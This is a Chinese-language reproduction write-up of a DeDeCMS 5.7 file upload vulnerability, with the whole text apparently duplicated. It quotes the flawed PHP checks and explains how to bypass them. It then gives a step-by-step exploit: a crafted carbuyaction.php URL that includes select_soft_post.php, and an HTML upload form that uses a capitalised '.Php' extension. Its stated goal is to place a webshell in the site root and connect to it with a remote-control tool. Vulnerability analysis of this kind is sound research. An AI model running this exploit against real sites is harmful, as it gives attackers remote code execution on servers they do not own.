DeDeCMS5.7 文件上传漏洞复现
2017-03-27 20:11:59
dedecms
Dedecms5.7文件上传,文末附源码链接
/include/dialog/select_soft_post.php文件存在失误,导致可以绕过限制上传php文件。
漏洞分析:
/include/dialog/select_soft_post.php:
if(!isset($cfg_basedir)) {
include_once(dirname(__FILE__).'/config.php');
}
…
与include/dialog目录其他文件不同,该文件没有直接包含config.php(包含config.php文件时,会要求以管理员身份登录后才能继续访问,普通用户无法访问,因此就没有办法以普通用户身份上传木马),而是对变量$cfg_basedir进行判断,如果没有定义则强制包含config.php文件,这样的意图是不允许直接访问select_soft_post文件。
但是,一旦$cfg_basedir变量已经定义,将绕过config.php文件的限制。具体的方法是,以包含方式调用select_soft_post.php。
$newname = ( empty($newname) ? '' :preg_replace("#[\\ \"\*\?\t\r\n<>':\/|]#", "",$newname) );
过滤新文件名中的正斜杠、反斜杠、空格、单引号等,因此无法在新文件名中加入目录路径。那就只能上传到网站默认根目录。
$uploadfile_name = trim(preg_replace("#[\r\n\t\*\%\\\/\?><\|\":]{1,}#", '', $uploadfile_name));
if(!preg_match("#\.(".$cfg_softtype.")#i",$uploadfile_name)){
ShowMsg("你所上传的{$uploadmbtype}不在许可列表,请更改系统对扩展名限定的配置!",""); exit();}
首先对上传文件名过滤掉特殊字符,然后对文件名和$cfg_softtype进行正则匹配($cfg_softtype=’zip|gz|rar|iso|doc|xsl|ppt|wps’)。因为正则表达式缺少”$”,所以”.zip.php”将满足条件,还可以将上传文件扩展名改为允许上传的类型,如rar等。
if(!empty($newname))
{
$filename= $newname;
if(!preg_match("#\.#", $filename)) $fs = explode('.',$uploadfile_name);
else$fs = explode('.', $filename);
//$cfg_not_allowall=”php|pl|cgi|asp|aspx|jsp|php3|shtm|sheml”
if(preg_match("#".$cfg_not_allowall."#",$fs[count($fs)-1]))
{
ShowMsg("你指定的文件名被系统禁止!",'Javascript:;');
exit();
}
如果新文件名中包含“.”,则取新文件名的扩展名。根据黑名单匹配有害后缀名。但是正则中缺少参数i,区分大小写,故可用大写绕过。
$fullfilename =$cfg_basedir.$activepath.'http://www.moke8.com/'.$filename;
$fullfileurl =$activepath.'http://www.moke8.com/'.$filename;
move_uploaded_file($uploadfile,$fullfilename)or die("上传文件到 $fullfilename 失败!");
完成上传文件的复制。
前面提到的以包含方式调用select_soft_post.php,是因为这样可以使变量$cfg_basedir被初始化,这样才能绕过config.php文件的限制。分析页面/plus/carbuyaction.php,主要代码如下:
if($cfg_mb_open == 'N')
{
ShowMsg("系统关闭了会员功能,因此你无法访问此页面!","Javascript:;");
exit();
}//要求系统开启会员功能
$cfg_ml = new MemberLogin();
if(!isset($dopost) ||empty($dopost)){
…
} else if ($dopost =='memclickout')
{
$svali = GetCkVdValue();
if(preg_match ("/S-P[0-9]+RN[0-9]/",$oid))//要求$oid变量符合正则表达式
{
$oid=trim($oid);
} else {
ShowMsg("您的订单号不存在!","/member/shops_orders.php",0,2000);
exit();
}
if($cfg_ml->IsLogin())//要求用户登录
{
$userid = $cfg_ml->M_ID;
}
else
{
…//验证用户名、密码
}
$row=$dsql->GetOne("SELECT* FROM `dede_shops_orders` WHERE oid='$oid' ");
if(is_array($row)){
…
$rs =$dsql->GetOne("SELECT * FROM `dede_payment` WHEREpaytype']}'");
}
require_onceDEDEINC.'/payment/'.$rs['code'].'.php';
…
}
可以看到在最后,如果if条件成立,则会改变$rs变量的值,从而确定下面的requirce的文件。我们的目标是包含/dialog/select_soft_post.php这个文件。所以不能让这个if条件成立,而且$rs['code']这个变量应该赋值为../dialog/select_soft_post.php··。
漏洞利用:
1系统开启会员功能
2要求$oid变量符合正则表达式,即以S-P开头,加数字,加RN,最后是数字
3要求用户登录
4 $row不是数组
构造payload如下:(红色url替换为你自己的)
plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post
访问页面如图,证明成功调用了select_soft_post页面。
上自定义一个传页面,保存为upload1.html。代码如下:(红色代码替换成你自己的)
<formaction="http://www.moke8.com/dedecms/ plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post"method="post" enctype="multipart/form-data"name="form1">
file:<inputname="uploadfile" type="file"/><br>
newname:<inputname="newname"type="text"value="myfile.Php"/>
<buttontype="submit">提交</button><br><br>
</form>
然后上传马,后缀名要改为zip|gz|rar|iso|doc|xsl|ppt|wps中的一个
提交:
虽然报错,但是myfile.php已经成功上传到网站根目录。
上菜刀:
扩展:
5.6和5.7sp1都加了这段代码:
$rs['code'] = isset($rs['code'])? preg_replace("#[^0-9a-z_?]+#i", "", $rs['code']) : "";
if(empty($rs['code']) OR !file_exists(DEDEINC.'/payment/'.$rs['code'].'.php'))
{
exit("Error:payment is not exsits!");
}
对$rs['code']进行了限制,并且会检查payment目录下存不存在$rs['code'].php文件。导致不能使用这种方法上传。
奇怪为什么5.6有这段防护代码,而5.7没有,然后5.7sp1又有了= =。
/include/dialog/select_soft_post.php文件存在失误,导致可以绕过限制上传php文件。
漏洞分析:
/include/dialog/select_soft_post.php:
if(!isset($cfg_basedir)) {
include_once(dirname(__FILE__).'/config.php');
}
…
与include/dialog目录其他文件不同,该文件没有直接包含config.php(包含config.php文件时,会要求以管理员身份登录后才能继续访问,普通用户无法访问,因此就没有办法以普通用户身份上传木马),而是对变量$cfg_basedir进行判断,如果没有定义则强制包含config.php文件,这样的意图是不允许直接访问select_soft_post文件。
但是,一旦$cfg_basedir变量已经定义,将绕过config.php文件的限制。具体的方法是,以包含方式调用select_soft_post.php。
$newname = ( empty($newname) ? '' :preg_replace("#[\\ \"\*\?\t\r\n<>':\/|]#", "",$newname) );
过滤新文件名中的正斜杠、反斜杠、空格、单引号等,因此无法在新文件名中加入目录路径。那就只能上传到网站默认根目录。
$uploadfile_name = trim(preg_replace("#[\r\n\t\*\%\\\/\?><\|\":]{1,}#", '', $uploadfile_name));
if(!preg_match("#\.(".$cfg_softtype.")#i",$uploadfile_name)){
ShowMsg("你所上传的{$uploadmbtype}不在许可列表,请更改系统对扩展名限定的配置!",""); exit();}
首先对上传文件名过滤掉特殊字符,然后对文件名和$cfg_softtype进行正则匹配($cfg_softtype=’zip|gz|rar|iso|doc|xsl|ppt|wps’)。因为正则表达式缺少”$”,所以”.zip.php”将满足条件,还可以将上传文件扩展名改为允许上传的类型,如rar等。
if(!empty($newname))
{
$filename= $newname;
if(!preg_match("#\.#", $filename)) $fs = explode('.',$uploadfile_name);
else$fs = explode('.', $filename);
//$cfg_not_allowall=”php|pl|cgi|asp|aspx|jsp|php3|shtm|sheml”
if(preg_match("#".$cfg_not_allowall."#",$fs[count($fs)-1]))
{
ShowMsg("你指定的文件名被系统禁止!",'Javascript:;');
exit();
}
如果新文件名中包含“.”,则取新文件名的扩展名。根据黑名单匹配有害后缀名。但是正则中缺少参数i,区分大小写,故可用大写绕过。
$fullfilename =$cfg_basedir.$activepath.'http://www.moke8.com/'.$filename;
$fullfileurl =$activepath.'http://www.moke8.com/'.$filename;
move_uploaded_file($uploadfile,$fullfilename)or die("上传文件到 $fullfilename 失败!");
完成上传文件的复制。
前面提到的以包含方式调用select_soft_post.php,是因为这样可以使变量$cfg_basedir被初始化,这样才能绕过config.php文件的限制。分析页面/plus/carbuyaction.php,主要代码如下:
if($cfg_mb_open == 'N')
{
ShowMsg("系统关闭了会员功能,因此你无法访问此页面!","Javascript:;");
exit();
}//要求系统开启会员功能
$cfg_ml = new MemberLogin();
if(!isset($dopost) ||empty($dopost)){
…
} else if ($dopost =='memclickout')
{
$svali = GetCkVdValue();
if(preg_match ("/S-P[0-9]+RN[0-9]/",$oid))//要求$oid变量符合正则表达式
{
$oid=trim($oid);
} else {
ShowMsg("您的订单号不存在!","/member/shops_orders.php",0,2000);
exit();
}
if($cfg_ml->IsLogin())//要求用户登录
{
$userid = $cfg_ml->M_ID;
}
else
{
…//验证用户名、密码
}
$row=$dsql->GetOne("SELECT* FROM `dede_shops_orders` WHERE oid='$oid' ");
if(is_array($row)){
…
$rs =$dsql->GetOne("SELECT * FROM `dede_payment` WHEREpaytype']}'");
}
require_onceDEDEINC.'/payment/'.$rs['code'].'.php';
…
}
可以看到在最后,如果if条件成立,则会改变$rs变量的值,从而确定下面的requirce的文件。我们的目标是包含/dialog/select_soft_post.php这个文件。所以不能让这个if条件成立,而且$rs['code']这个变量应该赋值为../dialog/select_soft_post.php··。
漏洞利用:
1系统开启会员功能
2要求$oid变量符合正则表达式,即以S-P开头,加数字,加RN,最后是数字
3要求用户登录
4 $row不是数组
构造payload如下:(红色url替换为你自己的)
plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post
访问页面如图,证明成功调用了select_soft_post页面。
上自定义一个传页面,保存为upload1.html。代码如下:(红色代码替换成你自己的)
<formaction="http://www.moke8.com/dedecms/ plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post"method="post" enctype="multipart/form-data"name="form1">
file:<inputname="uploadfile" type="file"/><br>
newname:<inputname="newname"type="text"value="myfile.Php"/>
<buttontype="submit">提交</button><br><br>
</form>
然后上传马,后缀名要改为zip|gz|rar|iso|doc|xsl|ppt|wps中的一个
提交:
虽然报错,但是myfile.php已经成功上传到网站根目录。
上菜刀:
扩展:
5.6和5.7sp1都加了这段代码:
$rs['code'] = isset($rs['code'])? preg_replace("#[^0-9a-z_?]+#i", "", $rs['code']) : "";
if(empty($rs['code']) OR !file_exists(DEDEINC.'/payment/'.$rs['code'].'.php'))
{
exit("Error:payment is not exsits!");
}
对$rs['code']进行了限制,并且会检查payment目录下存不存在$rs['code'].php文件。导致不能使用这种方法上传。
奇怪为什么5.6有这段防护代码,而5.7没有,然后5.7sp1又有了= =。